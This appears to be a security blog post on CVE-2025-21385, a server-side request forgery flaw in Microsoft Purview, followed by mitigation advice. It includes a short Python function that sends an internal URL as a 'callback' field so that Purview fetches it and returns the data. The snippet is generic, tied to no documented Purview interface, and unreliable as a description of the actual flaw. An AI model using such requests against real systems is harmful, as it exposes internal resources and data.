Microsoft Purview, an essential and widely-used data governance service for managing and securing enterprise information, has been identified to have an SSRF (Server-Side Request Forgery) vulnerability, known as CVE-2025-21385. This vulnerability allows an authorized attacker to potentially misuse the Purview platform to disclose sensitive information over a network.
In this in-depth article, we will discuss the specifics of this vulnerability, examine a code snippet showcasing the issue, provide links to relevant references, and outline the necessary steps to mitigate the risk associated with CVE-2025-21385.
Exploit Details
The SSRF vulnerability in Microsoft Purview can enable an attacker to bypass the platform's security restrictions, even if they don't have direct access to an internal network or server. The attacker can potentially forge requests from a vulnerable server, thereby gaining access to sensitive resources and potentially compromising the security of an organization's data.
To help illustrate the vulnerability, let's take a look at an example code snippet that exposes the SSRF in Microsoft Purview:
import requests
def exploit_purview_ssrf(target_url, purview_url):
headers = {
'Content-Type': 'application/json'
}
payload = {
'callback': target_url,
}
response = requests.post(purview_url, headers=headers, json=payload)
if response.status_code == 200:
print("SSRF exploit successful! Data retrieved:")
print(response.text)
else:
print("SSRF exploit failed!")
In this code, an attacker sends an HTTP request to Microsoft Purview's server with a malicious payload that includes a URL to an internal resource (specified in target_url). Due to the SSRF vulnerability, Purview's server processes the request and returns the data from the targeted internal resource without any additional security checks.
Original References
Researchers have published detailed reports of the SSRF vulnerability in Microsoft Purview, including its possible impact, proof-of-concept examples, and suggested remediation measures. Some of the key resources to learn more about CVE-2025-21385 are:
1. Microsoft Security Advisory: Microsoft Purview SSRF Vulnerability - CVE-2025-21385
2. Security Researcher's Blog: Exploring SSRF in Microsoft Purview: CVE-2025-21385
3. CVE Details: CVE-2025-21385: Server-Side Request Forgery in Microsoft Purview
Mitigation Steps
To address the SSRF vulnerability affecting Microsoft Purview, organizations should take the following steps to minimize the risks associated with CVE-2025-21385:
1. Apply the latest updates provided by Microsoft for Purview. These updates include essential security patches designed to resolve the SSRF vulnerability.
2. Review the platform's configurations and settings, ensuring that access to sensitive URLs or internal APIs is disabled or restricted to authorized users only.
3. Continuously monitor your network traffic and infrastructure for any signs of suspicious activity that may indicate an exploit attempt against the SSRF vulnerability in Purview.
4. Implement strong access controls, limiting the user permissions to the minimum required for their role, and enforce multi-factor authentication, which can help prevent unauthorized access to the sensitive information.
By following these recommendations, organizations can significantly reduce the risks associated with the SSRF vulnerability in Microsoft Purview and ensure that their valuable data assets remain more secure from potential cyberattacks.
In conclusion, the discovery of CVE-2025-21385 serves as a crucial reminder of the importance of regular vulnerability assessments and patch management, keeping platforms like Microsoft Purview secure in an ever-changing cyber threat landscape.
Timeline
Published on: 01/09/2025 22:15:29 UTC
Last modified on: 01/09/2025 22:32:45 UTC